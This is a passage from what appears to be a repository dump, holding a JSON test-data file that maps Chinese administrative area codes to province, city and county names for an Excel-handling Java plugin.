"n\":\"台北县\"},{\"n\":\"宜兰县\"},{\"n\":\"新竹县\"},{\"n\":\"桃园县\"},{\"n\":\"苗栗县\"},{\"n\":\"台中县\"},{\"n\":\"彰化县\"},{\"n\":\"南投县\"},{\"n\":\"嘉义县\"},{\"n\":\"云林县\"},{\"n\":\"台南县\"},{\"n\":\"高雄县\"},{\"n\":\"屏东县\"},{\"n\":\"台东县\"},{\"n\":\"花莲县\"},{\"n\":\"澎湖县\"}]}]}"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/test/test-resources/data/idcodearea.json",
    "content": "{\"11\":\"北京市\",\"1101\":\"北京市市辖区\",\"110101\":\"北京市东城区\",\"110102\":\"北京市西城区\",\"110103\":\"北京市崇文区\",\"110104\":\"北京市宣武区\",\"110105\":\"北京市朝阳区\",\"110106\":\"北京市丰台区\",\"110107\":\"北京市石景山区\",\"110108\":\"北京市海淀区\",\"110109\":\"北京市门头沟区\",\"110111\":\"北京市房山区\",\"1102\":\"北京市市辖县\",\"110221\":\"北京市昌平县\",\"110222\":\"北京市顺义县\",\"110223\":\"北京市通县\",\"110224\":\"北京市大兴县\",\"110226\":\"北京市平谷县\",\"110227\":\"北京市怀柔县\",\"110228\":\"北京市密云县\",\"110229\":\"北京市延庆县\",\"12\":\"天津市\",\"1201\":\"天津市市辖区\",\"120101\":\"天津市和平区\",\"120102\":\"天津市河东区\",\"120103\":\"天津市河西区\",\"120104\":\"天津市南开区\",\"120105\":\"天津市河北区\",\"120106\":\"天津市红桥区\",\"120107\":\"天津市塘沽区\",\"120108\":\"天津市汉沽区\",\"120109\":\"天津市大港区\",\"120110\":\"天津市东丽区\",\"120111\":\"天津市西青区\",\"120112\":\"天津市津南区\",\"120113\":\"天津市北辰区\",\"1202\":\"天津市市辖县\",\"120221\":\"天津市宁河县\",\"120222\":\"天津市武清县\",\"120223\":\"天津市静海县\",\"120224\":\"天津市宝坻县\",\"120225\":\"天津市蓟县\",\"13\":\"河北省\",\"1301\":\"河北省石家庄市\",\"130101\":\"河北省石家庄市市辖区\",\"130102\":\"河北省石家庄市长安区\",\"130103\":\"河北省石家庄市桥东区\",\"130104\":\"河北省石家庄市桥西区\",\"130105\":\"河北省石家庄市新华区\",\"130106\":\"河北省石家庄市郊区\",\"130107\":\"河北省石家庄市井陉矿区\",\"130121\":\"河北省井陉县\",\"130122\":\"河北省获鹿县\",\"130123\":\"河北省正定县\",\"130124\":\"河北省栾城县\",\"130125\":\"河北省行唐县\",\"130126\":\"河北省灵寿县\",\"130127\":\"河北省高邑县\",\"130128\":\"河北省深泽县\",\"130129\":\"河北省赞皇县\",\"130130\":\"河北省无极县\",\"130131\":\"河北省平山县\",\"130132\":\"河北省元氏县\",\"130133\":\"河北省赵县\",\"130181\":\"河北省辛集市\",\"130182\":\"河北省藁城市\",\"130183\":\"河北省晋州市\",\"130184\":\"河北省新乐市\",\"1302\":\"河北省唐山市\",\"130201\":\"河北省唐山市市辖区\",\"130202\":\"河北省唐山市路南区\",\"130203\":\"河北省唐山市路北区\",\"130204\":\"河北省唐山市东矿区\",\"130205\":\"河北省唐山市开平区\",\"130206\":\"河北省唐山市新区\",\"130221\":\"河北省丰润县\",\"130222\":\"河北省丰南县\",\"130223\":\"河北省滦县\",\"130224\":\"河北省滦南县\",\"130225\":\"河北省乐亭县\",\"130226\":\"河北省迁安县\",\"130227\":\"河北省迁西县\",\"130229\":\"河北省玉田县\",\"130230\":\"河北省唐海县\",\"130281\":\"河北省遵化市\",\"1303\":\"河北省秦皇岛市\",\"130301\":\"河北省秦皇岛市市辖区\",\"130302\":\"河北省秦皇岛市海港区\",\"130303\":\"河北省秦皇岛市山海关区\",\"130304\":\"河北省秦皇岛市北戴河区\",\"130321\":\"河北省青龙满族自治县\",\"130322\":\"河北省昌黎县\",\"130323\":\"河北省抚宁县\",\"130324\":\"河北省卢龙县\",\"1304\":\"河北省邯郸市\",\"130401\":\"河北省邯郸市市辖区\",\"130402\":\"河北省邯郸市邯山区\",\"130403\":\"河北省邯郸市丛台区\",\"130404\":\"河北省邯郸市复兴区\",\"130406\":\"河北省邯郸市峰峰矿区\",\"130421\":\"河北省邯郸县\",\"130423\":\"河北省临漳县\",\"130424\":\"河北省成安县\",\"130425\":\"河北省大名县\",\"130426\":\"河北省涉县\",\"130427\":\"河北省磁县\",\"130428\":\"河北省肥乡县\",\"130429\":\"河北省永年县\",\"130430\":\"河北省丘县\",\"130431\":\"河北省鸡泽县\",\"130432\":\"河北省广平县\",\"130433\":\"河北省馆陶县\",\"130434\":\"河北省魏县\",\"130435\":\"河北省曲周县\",\"130481\":\"河北省武安市\",\"1305\":\"河北省邢台市\",\"130501\":\"河北省邢台市市辖区\",\"130502\":\"河北省邢台市桥东区\",\"130503\":\"河北省邢台市桥西区\",\"130521\":\"河北省邢台县\",\"130522\":\"河北省临城县\",\"130523\":\"河北省内丘县\",\"130524\":\"河北省柏乡县\",\"130525\":\"河北省隆尧县\",\"130526\":\"河北省任县\",\"130527\":\"河北省南和县\",\"130528\":\"河北省宁晋县\",\"130529\":\"河北省巨鹿县\",\"130530\":\"河北省新河县\",\"130531\":\"河北省广宗县\",\"130532\":\"河北省平乡县\",\"130533\":\"河北省威县\",\"130534\":\"河北省清河县\",\"130535\":\"河北省临西县\",\"130581\":\"河北省南宫市\",\"130582\":\"河北省沙河市\",\"1306\":\"河北省保定市\",\"130601\":\"河北省保定市市辖区\",\"130602\":\"河北省保定市新市区\",\"130603\":\"河北省保定市北市区\",\"130604\":\"河北省保定市南市区\",\"130621\":\"河北省满城县\",\"130622\":\"河北省清苑县\",\"1307\":\"河北省张家口市\",\"130701\":\"河北省张家口市市辖区\",\"130702\":\"河北省张家口市桥东区\",\"130703\":\"河北省张家口市桥西区\",\"130705\":\"河北省张家口市宣化区\",\"130706\":\"河北省张家口市下花园区\",\"130721\":\"河北省宣化县\",\"130722\":\"河北省张北县\",\"130723\":\"河北省康保县\",\"130724\":\"河北省沽源县\",\"130725\":\"河北省尚义县\",\"130726\":\"河北省蔚县\",\"130727\":\"河北省阳原县\",\"130728\":\"河北省怀安县\",\"130729\":\"河北省万全县\",\"130730\":\"河北省怀来县\",\"130731\":\"河北省涿鹿县\",\"130732\":\"河北省赤城县\",\"130733\":\"河北省崇礼县\",\"1308\":\"河北省承德市\",\"130801\":\"河北省承德市市辖区\",\"130802\":\"河北省承德市双桥区\",\"130803\":\"河北省承德市双滦区\",\"130804\":\"河北省承德市鹰手营子矿区\",\"130821\":\"河北省承德县\",\"130822\":\"河北省兴隆县\",\"130823\":\"河北省平泉县\",\"130824\":\"河北省滦平县\",\"130825\":\"河北省隆化县\",\"130826\":\"河北省丰宁满族自治县\",\"130827\":\"河北省宽城满族自治县\",\"130828\":\"河北省围场满族蒙古族自治县\",\"1309\":\"河北省沧洲市\",\"130901\":\"河北省沧洲市市辖区\",\"130902\":\"河北省沧洲市新华区\",\"130903\":\"河北省沧洲市运河区\",\"130904\":\"河北省沧洲市郊区\",\"130921\":\"河北省沧县\",\"130922\":\"河北省青县\",\"130923\":\"河北省东光县\",\"130924\":\"河北省海兴县\",\"130925\":\"河北省盐山县\",\"130926\":\"河北省肃宁县\",\"130927\":\"河北省南皮县\",\"130928\":\"河北省吴桥县\",\"130929\":\"河北省献县\",\"130930\":\"河北省孟村回族自治县\",\"130981\":\"河北省泊头市\",\"130982\":\"河北省任丘市\",\"130983\":\"河北省黄骅市\",\"130984\":\"河北省河间市\",\"1310\":\"河北省廊坊市\",\"131001\":\"河北省廊坊市市辖区\",\"131002\":\"河北省廊坊市安次区\",\"131022\":\"河北省固安县\",\"131023\":\"河北省永清县\",\"131024\":\"河北省香河县\",\"131025\":\"河北省大城县\",\"131026\":\"河北省文安县\",\"131028\":\"河北省大厂回族自治县\",\"131081\":\"河北省霸州市\",\"131082\":\"河北省三河市\",\"1324\":\"河北省保定地区\",\"132401\":\"河北省定州市\",\"132402\":\"河北省涿州市\",\"132403\":\"河北省安国市\",\"132404\":\"河北省高碑店市\",\"132421\":\"河北省易县\",\"132423\":\"河北省徐水县\",\"132424\":\"河北省涞源县\",\"132425\":\"河北省定兴县\",\"132426\":\"河北省顺平县\",\"132427\":\"河北省唐县\",\"132428\":\"河北省望都县\",\"132429\":\"河北省涞水县\",\"132432\":\"河北省高阳县\",\"132433\":\"河北省安新县\",\"132434\":\"河北省雄县\",\"132435\":\"河北省容城县\",\"132437\":\"河北省曲阳县\",\"132438\":\"河北省阜平县\",\"132441\":\"河北省博野县\",\"132442\":\"河北省蠡县\",\"1330\":\"河北省衡水地区\",\"133001\":\"河北省衡水市\",\"133002\":\"河北省冀州县\",\"133023\":\"河北省枣强县\",\"133024\":\"河北省武邑县\",\"133025\":\"河北省深县\",\"133026\":\"河北省武强县\",\"133027\":\"河北省饶阳县\",\"133028\":\"河北省安平县\",\"133029\":\"河北省故城县\",\"133030\":\"河北省景县\",\"133031\":\"河北省阜城县\",\"14\":\"山西省\",\"1401\":\"山西省太原市\",\"140101\":\"山西省太原市市辖区\",\"140102\":\"山西省太原市南城区\",\"140103\":\"山西省太原市北城区\",\"140104\":\"山西省太原市河西区\",\"140112\":\"山西省太原市南郊区\",\"140113\":\"山西省太原市北郊区\",\"140121\":\"山西省清徐县\",\"140122\":\"山西省阳曲县\",\"140123\":\"山西省娄烦县\",\"140181\":\"山西省古交市\",\"1402\":\"山西省大同市\",\"140201\":\"山西省大同市市辖区\",\"140202\":\"山西省大同市城区\",\"140203\":\"山西省大同市矿区\",\"140211\":\"山西省大同市南郊区\",\"140212\":\"山西省大同市新荣区\",\"140221\":\"山西省阳高县\",\"140222\":\"山西省天镇县\",\"140223\":\"山西省广灵县\",\"140224\":\"山西省灵丘县\",\"140225\":\"山西省浑源县\",\"140226\":\"山西省左云县\",\"140227\":\"山西省大同县\",\"1403\":\"山西省阳泉市\",\"140301\":\"山西省阳泉市市辖区\",\"140302\":\"山西省阳泉市城区\",\"140303\":\"山西省阳泉市矿区\",\"140311\":\"山西省阳泉市郊区\",\"140321\":\"山西省平定县\",\"140322\":\"山西省盂县\",\"1404\":\"山西省长治市\",\"140401\":\"山西省长治市市辖区\",\"140402\":\"山西省长治市城区\",\"140411\":\"山西省长治市郊区\",\"140421\":\"山西省长治县\",\"140422\":\"山西省潞城县\",\"140423\":\"山西省襄垣县\",\"140424\":\"山西省屯留县\",\"140425\":\"山西省平顺县\",\"140426\":\"山西省黎城县\",\"140427\":\"山西省壶关县\",\"140428\":\"山西省长子县\",\"140429\":\"山西省武乡县\",\"140430\":\"山西省沁县\",\"140431\":\"山西省沁源县\",\"1405\":\"山西省晋城市\",\"140501\":\"山西省晋城市市辖区\",\"140502\":\"山西省晋城市城区\",\"140511\":\"山西省晋城市郊区\",\"140521\":\"山西省沁水县\",\"140522\":\"山西省阳城县\",\"140524\":\"山西省陵川县\",\"140581\":\"山西省高平市\",\"1406\":\"山西省朔州市\",\"140601\":\"山西省朔州市市辖区\",\"140602\":\"山西省朔州市朔城区\",\"140603\":\"山西省朔州市平鲁区\",\"140621\":\"山西省山阴县\",\"140622\":\"山西省应县\",\"140623\":\"山西省右玉县\",\"140624\":\"山西省怀仁县\",\"1422\":\"山西省忻洲地区\",\"142201\":\"山西省忻州市\",\"142202\":\"山西省原平县\",\"142222\":\"山西省定襄县\",\"142223\":\"山西省五台县\",\"142225\":\"山西省代县\",\"142226\":\"山西省繁峙县\",\"142227\":\"山西省宁武县\",\"142228\":\"山西省静乐县\",\"142229\":\"山西省神池县\",\"142230\":\"山西省五寨县\",\"142231\":\"山西省苛岚县\",\"142232\":\"山西省河曲县\",\"142233\":\"山西省保德县\",\"142234\":\"山西省偏关县\",\"1423\":\"山西省吕梁地区\",\"142301\":\"山西省孝义市\",\"142321\":\"山西省汾阳县\",\"142322\":\"山西省文水县\",\"142323\":\"山西省交城县\",\"142325\":\"山西省兴县\",\"142326\":\"山西省临县\",\"142327\":\"山西省柳林县\",\"142328\":\"山西省石楼县\",\"142329\":\"山西省岚县\",\"142330\":\"山西省方山县\",\"142331\":\"山西省离石县\",\"142332\":\"山西省中阳县\",\"142333\":\"山西省交口县\",\"1424\":\"山西省晋中地区\",\"142401\":\"山西省榆次市\",\"142402\":\"山西省介休市\",\"142421\":\"山西省榆社县\",\"142422\":\"山西省左权县\",\"142423\":\"山西省和顺县\",\"142424\":\"山西省昔阳县\",\"142427\":\"山西省寿阳县\",\"142429\":\"山西省太谷县\",\"142430\":\"山西省祁县\",\"142431\":\"山西省平遥县\",\"142433\":\"山西省灵石县\",\"1426\":\"山西省临汾地区\",\"142601\":\"山西省临汾市\",\"142602\":\"山西省侯马市\",\"142603\":\"山西省霍州市\",\"142621\":\"山西省曲沃县\",\"142622\":\"山西省翼城县\",\"142623\":\"山西省襄汾县\",\"142625\":\"山西省洪洞县\",\"142627\":\"山西省古县\",\"142628\":\"山西省安泽县\",\"142629\":\"山西省浮山县\",\"142630\":\"山西省吉县\",\"142631\":\"山西省乡宁县\",\"142632\":\"山西省蒲县\",\"142633\":\"山西省大宁县\",\"142634\":\"山西省永和县\",\"142635\":\"山西省隰县\",\"142636\":\"山西省汾西县\",\"1427\":\"山西省运城地区\",\"142701\":\"山西省运城市\",\"142722\":\"山西省永济县\",\"142723\":\"山西省芮城县\",\"142724\":\"山西省临猗县\",\"142725\":\"山西省万荣县\",\"142726\":\"山西省新绛县\",\"142727\":\"山西省稷山县\",\"142728\":\"山西省河津县\",\"142729\":\"山西省闻喜县\",\"142730\":\"山西省夏县\",\"142731\":\"山西省绛县\",\"142732\":\"山西省平陆县\",\"142733\":\"山西省垣曲县\",\"15\":\"内蒙古\",\"1501\":\"内蒙古呼和浩特市\",\"150101\":\"内蒙古呼和浩特市市辖区\",\"150102\":\"内蒙古呼和浩特市新城区\",\"150103\":\"内蒙古呼和浩特市回民区\",\"150104\":\"内蒙古呼和浩特市玉泉区\",\"150105\":\"内蒙古呼和浩特市郊区\",\"150121\":\"内蒙古土默特左旗\",\"150122\":\"内蒙古托克托县\",\"1502\":\"内蒙古包头市\",\"150201\":\"内蒙古包头市市辖区\",\"150202\":\"内蒙古包头市东河区\",\"150203\":\"内蒙古包头市昆都伦区\",\"150204\":\"内蒙古包头市青山区\",\"150205\":\"内蒙古包头市石拐矿区\",\"150206\":\"内蒙古包头市白云矿区\",\"150207\":\"内蒙古包头市郊区\",\"150221\":\"内蒙古土默特右旗\",\"150222\":\"内蒙古固阳县\",\"1503\":\"内蒙古乌海市\",\"150301\":\"内蒙古乌海市市辖区\",\"150302\":\"内蒙古乌海市海勃湾区\",\"150303\":\"内蒙古乌海市海南区\",\"150304\":\"内蒙古乌海市乌达区\",\"1504\":\"内蒙古赤峰市\",\"150401\":\"内蒙古赤峰市市辖区\",\"150402\":\"内蒙古赤峰市红山区\",\"150403\":\"内蒙古赤峰市元宝山区\",\"150404\":\"内蒙古赤峰市松山区\",\"150421\":\"内蒙古阿鲁科尔沁旗\",\"150422\":\"内蒙古巴林左旗\",\"150423\":\"内蒙古巴林右旗\",\"150424\":\"内蒙古林西县\",\"150425\":\"内蒙古克什克腾旗\",\"150426\":\"内蒙古翁牛特旗\",\"150428\":\"内蒙古喀喇沁旗\",\"150429\":\"内蒙古宁城县\",\"150430\":\"内蒙古敖汉旗\",\"1521\":\"内蒙古呼伦贝尔盟\",\"152101\":\"内蒙古海拉尔市\",\"152102\":\"内蒙古满洲里市\",\"152103\":\"内蒙古扎兰屯市\",\"152104\":\"内蒙古牙克石市\",\"152122\":\"内蒙古阿荣旗\",\"152123\":\"内蒙古莫力达瓦达翰尔族自治旗\",\"152125\":\"内蒙古额尔古纳右旗\",\"152126\":\"内蒙古额尔古纳左旗\",\"152127\":\"内蒙古鄂伦春自治旗\",\"152128\":\"内蒙古鄂温克族自治旗\",\"152129\":\"内蒙古新巴尔虎右旗\",\"152130\":\"内蒙古新巴尔虎左旗\",\"152131\":\"内蒙古陈巴尔虎旗\",\"1522\":\"内蒙古兴安盟\",\"152201\":\"内蒙古乌兰浩特市\",\"152221\":\"内蒙古科尔沁右翼前旗\",\"152222\":\"内蒙古科尔沁右翼中旗\",\"152223\":\"内蒙古扎赍特旗\",\"152224\":\"内蒙古突泉县\",\"1523\":\"内蒙古哲里木盟\",\"152301\":\"内蒙古通辽市\",\"152302\":\"内蒙古霍林郭勒市\",\"152322\":\"内蒙古科尔沁左翼中旗\",\"152323\":\"内蒙古科尔沁左翼后旗\",\"152324\":\"内蒙古开鲁县\",\"152325\":\"内蒙古库伦旗\",\"152326\":\"内蒙古奈曼旗　\",\"152327\":\"内蒙古扎鲁特旗\",\"1525\":\"内蒙古锡林郭勒盟\",\"152501\":\"内蒙古二连浩特市\",\"152502\":\"内蒙古锡林浩特市\",\"152522\":\"内蒙古阿巴嘎旗\",\"152523\":\"内蒙古苏尼特左旗\",\"152524\":\"内蒙古苏尼特右旗\",\"152525\":\"内蒙古东乌珠穆沁旗\",\"152526\":\"内蒙古西乌珠穆沁旗\",\"152527\":\"内蒙古太仆寺旗\",\"152528\":\"内蒙古镶黄旗\",\"152529\":\"内蒙古正镶白旗\",\"152530\":\"内蒙古正蓝旗\",\"152531\":\"内蒙古多伦县\",\"1526\":\"内蒙古乌兰察布盟\",\"152601\":\"内蒙古集宁市\",\"152602\":\"内蒙古丰镇市\",\"152621\":\"内蒙古武川县\",\"152622\":\"内蒙古和林格尔县\",\"152623\":\"内蒙古清水河县\",\"152624\":\"内蒙古卓资县\",\"152625\":\"内蒙古化德县\",\"152626\":\"内蒙古商都县\",\"152627\":\"内蒙古兴和县\",\"152629\":\"内蒙古凉城县\",\"152630\":\"内蒙古察哈尔右翼前旗\",\"152631\":\"内蒙古察哈尔右翼中旗\",\"152632\":\"内蒙古察哈尔右翼后旗\",\"152633\":\"内蒙古达尔罕茂明安联合旗\",\"152634\":\"内蒙古四子王旗\",\"1527\":\"内蒙古伊克昭盟\",\"152701\":\"内蒙古东胜市\",\"152722\":\"内蒙古达拉特旗\",\"152723\":\"内蒙古准格尔旗\",\"152724\":\"内蒙古鄂托克前旗\",\"152725\":\"内蒙古鄂托克旗\",\"152726\":\"内蒙古杭锦旗　\",\"152727\":\"内蒙古乌审旗\",\"152728\":\"内蒙古伊金霍洛旗\",\"1528\":\"内蒙古巴彦淖尔盟\",\"152801\":\"内蒙古临河市\",\"152822\":\"内蒙古五原县\",\"152823\":\"内蒙古磴口县\",\"152824\":\"内蒙古乌拉特前旗\",\"152825\":\"内蒙古乌拉特中旗\",\"152826\":\"内蒙古乌拉特后旗\",\"152827\":\"内蒙古杭锦后旗\",\"1529\":\"内蒙古阿拉善盟\",\"152921\":\"内蒙古阿拉善左旗\",\"152922\":\"内蒙古阿拉善右旗\",\"152923\":\"内蒙古额济纳旗\",\"21\":\"辽宁省\",\"2101\":\"辽宁省沈阳市\",\"210101\":\"辽宁省沈阳市市辖区\",\"210102\":\"辽宁省沈阳市和平区\",\"210103\":\"辽宁省沈阳市沈河区\",\"210104\":\"辽宁省沈阳市大东区\",\"210105\":\"辽宁省沈阳市皇姑区\",\"210106\":\"辽宁省沈阳市铁西区\",\"210111\":\"辽宁省沈阳市苏家屯区\",\"210112\":\"辽宁省沈阳市东陵区\",\"210113\":\"辽宁省沈阳市新城子区\",\"210114\":\"辽宁省沈阳市于洪区\",\"210122\":\"辽宁省辽中县\",\"210123\":\"辽宁省康平县\",\"210124\":\"辽宁省法库县\",\"210181\":\"辽宁省新民市\",\"2102\":\"辽宁省大连市\",\"210201\":\"辽宁省大连市市辖区\",\"210202\":\"辽宁省大连市中山区\",\"210203\":\"辽宁省大连市西岗区\",\"210204\":\"辽宁省大连市沙河口区\",\"210211\":\"辽宁省大连市甘井子区\",\"210212\":\"辽宁省大连市旅顺口区\",\"210213\":\"辽宁省大连市金州区\",\"210224\":\"辽宁省长海县\",\"210281\":\"辽宁省瓦房店市\",\"210282\":\"辽宁省普兰店市\",\"210283\":\"辽宁省庄河市\",\"2103\":\"辽宁省鞍山市\",\"210301\":\"辽宁省鞍山市市辖区\",\"210302\":\"辽宁省鞍山市铁东区\",\"210303\":\"辽宁省鞍山市铁西区\",\"210304\":\"辽宁省鞍山市立山区\",\"210311\":\"辽宁省鞍山市旧堡区\",\"210321\":\"辽宁省台安县\",\"210323\":\"辽宁省岫岩满族自治县\",\"210381\":\"辽宁省海城市\",\"2104\":\"辽宁省抚顺市\",\"210401\":\"辽宁省抚顺市市辖区\",\"210402\":\"辽宁省抚顺市新抚区\",\"210403\":\"辽宁省抚顺市露天区\",\"210404\":\"辽宁省抚顺市望花区\",\"210411\":\"辽宁省抚顺市顺城区\",\"210421\":\"辽宁省抚顺县\",\"210422\":\"辽宁省新宾满族自治县\",\"210423\":\"辽宁省清原满族自治县\",\"2105\":\"辽宁省本溪市\",\"210501\":\"辽宁省本溪市市辖区\",\"210502\":\"辽宁省本溪市平山区\",\"210503\":\"辽宁省本溪市溪湖区\",\"210504\":\"辽宁省本溪市明山区\",\"210511\":\"辽宁省本溪市南芬区\",\"210521\":\"辽宁省本溪满族自治县\",\"210522\":\"辽宁省桓仁满族自治县\",\"2106\":\"辽宁省丹东市\",\"210601\":\"辽宁省丹东市市辖区\",\"210602\":\"辽宁省丹东市元宝区\",\"210603\":\"辽宁省丹东市振兴区\",\"210604\":\"辽宁省丹东市振安区\",\"210621\":\"辽宁省凤城满族自治县\",\"210624\":\"辽宁省宽甸满族自治县\",\"210681\":\"辽宁省东港市\",\"2107\":\"辽宁省锦州市\",\"210701\":\"辽宁省锦州市市辖区\",\"210702\":\"辽宁省锦州市古塔区\",\"210703\":\"辽宁省锦州市凌河区\",\"210711\":\"辽宁省锦州市太和区\",\"210725\":\"辽宁省北镇满族自治县\",\"210726\":\"辽宁省黑山县\",\"210727\":\"辽宁省义县\",\"210781\":\"辽宁省凌海市\",\"2108\":\"辽宁省营口市\",\"210801\":\"辽宁省营口市市辖区\",\"210802\":\"辽宁省营口市站前区\",\"210803\":\"辽宁省营口市西市区\",\"210804\":\"辽宁省营口市鲅鱼圈区\",\"210811\":\"辽宁省营口市老边区\",\"210881\":\"辽宁省盖州市\",\"210882\":\"辽宁省大石桥市\",\"2109\":\"辽宁省阜新市\",\"210901\":\"辽宁省阜新市市辖区\",\"210902\":\"辽宁省阜新市海洲区\",\"210903\":\"辽宁省阜新市新邱区\",\"210904\":\"辽宁省阜新市太平区\",\"210905\":\"辽宁省阜新市清河门区\",\"210911\":\"辽宁省阜新市细河区\",\"210921\":\"辽宁省阜新蒙古族自治县\",\"210922\":\"辽宁省彰武县\",\"2110\":\"辽宁省辽阳市\",\"211001\":\"辽宁省辽阳市市辖区\",\"211002\":\"辽宁省辽阳市白塔区\",\"211003\":\"辽宁省辽阳市文圣区\",\"211004\":\"辽宁省辽阳市宏伟区\",\"211005\":\"辽宁省辽阳市弓长岭区\",\"211011\":\"辽宁省辽阳市太子河区\",\"211021\":\"辽宁省辽阳县\",\"211022\":\"辽宁省灯塔县\",\"2111\":\"辽宁省盘锦市\",\"211101\":\"辽宁省盘锦市市辖区\",\"211102\":\"辽宁省盘锦市双台子区\",\"211103\":\"辽宁省盘锦市兴隆台区\",\"211121\":\"辽宁省大洼县\",\"211122\":\"辽宁省盘山县\",\"2112\":\"辽宁省铁岭市\",\"211201\":\"辽宁省铁岭市市辖区\",\"211202\":\"辽宁省铁岭市银州区\",\"211204\":\"辽宁省铁岭市清河区\",\"211221\":\"辽宁省铁岭县\",\"211223\":\"辽宁省西丰县\",\"211224\":\"辽宁省昌图县\",\"211281\":\"辽宁省铁法市\",\"211282\":\"辽宁省开原市\",\"2113\":\"辽宁省朝阳市\",\"211301\":\"辽宁省朝阳市市辖区\",\"211302\":\"辽宁省朝阳市双塔区\",\"211303\":\"辽宁省朝阳市龙城区\",\"211321\":\"辽宁省朝阳县\",\"211322\":\"辽宁省建平县\",\"211324\":\"辽宁省喀喇沁左翼蒙古族自治县\",\"211381\":\"辽宁省北票市\",\"211382\":\"辽宁省凌源市\",\"2114\":\"辽宁省锦西市\",\"211401\":\"辽宁省锦西市市辖区\",\"211402\":\"辽宁省锦西市连山区\",\"211403\":\"辽宁省锦西市葫芦岛区\",\"211404\":\"辽宁省锦西市南票区\",\"211421\":\"辽宁省绥中县\",\"211422\":\"辽宁省建昌县\",\"211481\":\"辽宁省兴城市\",\"22\":\"吉林省\",\"2201\":\"吉林省长春市\",\"220101\":\"吉林省长春市市辖区\",\"220102\":\"吉林省长春市南关区\",\"220103\":\"吉林省长春市宽城区\",\"220104\":\"吉林省长春市朝阳区\",\"220105\":\"吉林省长春市二道河子区\",\"220111\":\"吉林省长春市郊区\",\"220122\":\"吉林省农安县\",\"220124\":\"吉林省德惠县\",\"220125\":\"吉林省双阳县\",\"220181\":\"吉林省九台市\",\"220182\":\"吉林省榆树市\",\"2202\":\"吉林省吉林市\",\"220201\":\"吉林省吉林市市辖区\",\"220202\":\"吉林省吉林市昌邑区\",\"220203\":\"吉林省吉林市龙潭区\",\"220204\":\"吉林省吉林市船营区\",\"220211\":\"吉林省吉林市丰满区\",\"220221\":\"吉林省永吉县\",\"220223\":\"吉林省磐石县\",\"220281\":\"吉林省蛟河市\",\"220282\":\"吉林省桦甸市\",\"220283\":\"吉林省舒兰市\",\"2203\":\"吉林省四平市\",\"220301\":\"吉林省四平市市辖区\",\"220302\":\"吉林省四平市铁西区\",\"220303\":\"吉林省四平市铁东区\",\"220322\":\"吉林省梨树县\",\"220323\":\"吉林省伊通满族自治县\",\"220324\":\"吉林省双辽县\",\"220381\":\"吉林省公主岭市\",\"2204\":\"吉林省辽源市\",\"220401\":\"吉林省辽源市市辖区\",\"220402\":\"吉林省辽源市龙山区\",\"220403\":\"吉林省辽源市西安区\",\"220421\":\"吉林省东丰县\",\"220422\":\"吉林省东辽县\",\"2205\":\"吉林省通化市\",\"220501\":\"吉林省通化市市辖区\",\"220502\":\"吉林省通化市东昌区\",\"220503\":\"吉林省通化市二道江区\",\"220521\":\"吉林省通化县\",\"220523\":\"吉林省辉南县\",\"220524\":\"吉林省柳河县\",\"220581\":\"吉林省梅河口市\",\"220582\":\"吉林省集安市\",\"2206\":\"吉林省浑江市\",\"220601\":\"吉林省浑江市市辖区\",\"220602\":\"吉林省浑江市八道江区\",\"220603\":\"吉林省浑江市三岔子区\",\"220621\":\"吉林省抚松县\",\"220622\":\"吉林省靖宇县\",\"220623\":\"吉林省长白朝鲜族自治县\",\"220681\":\"吉林省临江市\",\"2207\":\"吉林省松原市\",\"220701\":\"吉林省松原市市辖区\",\"220702\":\"吉林省松原市扶余区\",\"220721\":\"吉林省前郭尔罗斯蒙古族自治县\",\"220722\":\"吉林省长岭县\",\"220723\":\"吉林省乾安县\",\"2208\":\"吉林省白城市\",\"220801\":\"吉林省白城市市辖区\",\"220802\":\"吉林省白城市洮北区\",\"220821\":\"吉林省镇赍县\",\"220822\":\"吉林省通榆县\",\"220881\":\"吉林省洮南市\",\"220882\":\"吉林省大安市\",\"2224\":\"吉林省延边朝鲜族自治州\",\"222401\":\"吉林省延吉市\",\"222402\":\"吉林省图们市\",\"222403\":\"吉林省敦化市\",\"222404\":\"吉林省珲春市\",\"222405\":\"吉林省龙井市\",\"222406\":\"吉林省和龙市\",\"222424\":\"吉林省汪清县\",\"222426\":\"吉林省安图县\",\"23\":\"黑龙江\",\"2301\":\"黑龙江哈尔滨市\",\"230101\":\"黑龙江哈尔滨市市辖区\",\"230102\":\"黑龙江哈尔滨市道里区\",\"230103\":\"黑龙江哈尔滨市南岗区\",\"230104\":\"黑龙江哈尔滨市道外区\",\"230105\":\"黑龙江哈尔滨市太平区\",\"230106\":\"黑龙江哈尔滨市香坊区\",\"230107\":\"黑龙江哈尔滨市动力区\",\"230108\":\"黑龙江哈尔滨市平房区\",\"230121\":\"黑龙江呼兰县\",\"230123\":\"黑龙江依兰县\",\"230124\":\"黑龙江方正县\",\"230125\":\"黑龙江宾县\",\"230181\":\"黑龙江阿城市\",\"2302\":\"黑龙江齐齐哈尔市\",\"230201\":\"黑龙江齐齐哈尔市市辖区\",\"230202\":\"黑龙江齐齐哈尔市龙沙区\",\"230203\":\"黑龙江齐齐哈尔市建华区\",\"230204\":\"黑龙江齐齐哈尔市铁锋区\",\"230205\":\"黑龙江齐齐哈尔市昂昂溪区\",\"230206\":\"黑龙江齐齐哈尔市富拉尔基区\",\"230207\":\"黑龙江齐齐哈尔市碾子山区\",\"230208\":\"黑龙江齐齐哈尔市梅里斯达斡尔族\",\"230221\":\"黑龙江龙江县\",\"230223\":\"黑龙江依安县\",\"230224\":\"黑龙江泰来县\",\"230225\":\"黑龙江甘南县\",\"230227\":\"黑龙江富裕县\",\"230229\":\"黑龙江克山县\",\"230230\":\"黑龙江克东县\",\"230231\":\"黑龙江拜泉县\",\"230281\":\"黑龙江讷河市\",\"2303\":\"黑龙江鸡西市\",\"230301\":\"黑龙江鸡西市市辖区\",\"230302\":\"黑龙江鸡西市鸡冠区\",\"230303\":\"黑龙江鸡西市恒山区\",\"230304\":\"黑龙江鸡西市滴道区\",\"230305\":\"黑龙江鸡西市梨树区\",\"230306\":\"黑龙江鸡西市城子河区\",\"230307\":\"黑龙江鸡西市麻山区\",\"230321\":\"黑龙江鸡东县\",\"230322\":\"黑龙江虎林县\",\"2304\":\"黑龙江鹤岗市\",\"230401\":\"黑龙江鹤岗市市辖区\",\"230402\":\"黑龙江鹤岗市向阳区\",\"230403\":\"黑龙江鹤岗市工农区\",\"230404\":\"黑龙江鹤岗市南山区\",\"230405\":\"黑龙江鹤岗市兴安区\",\"230406\":\"黑龙江鹤岗市东山区\",\"230407\":\"黑龙江鹤岗市兴山区\",\"230421\":\"黑龙江萝北县\",\"230422\":\"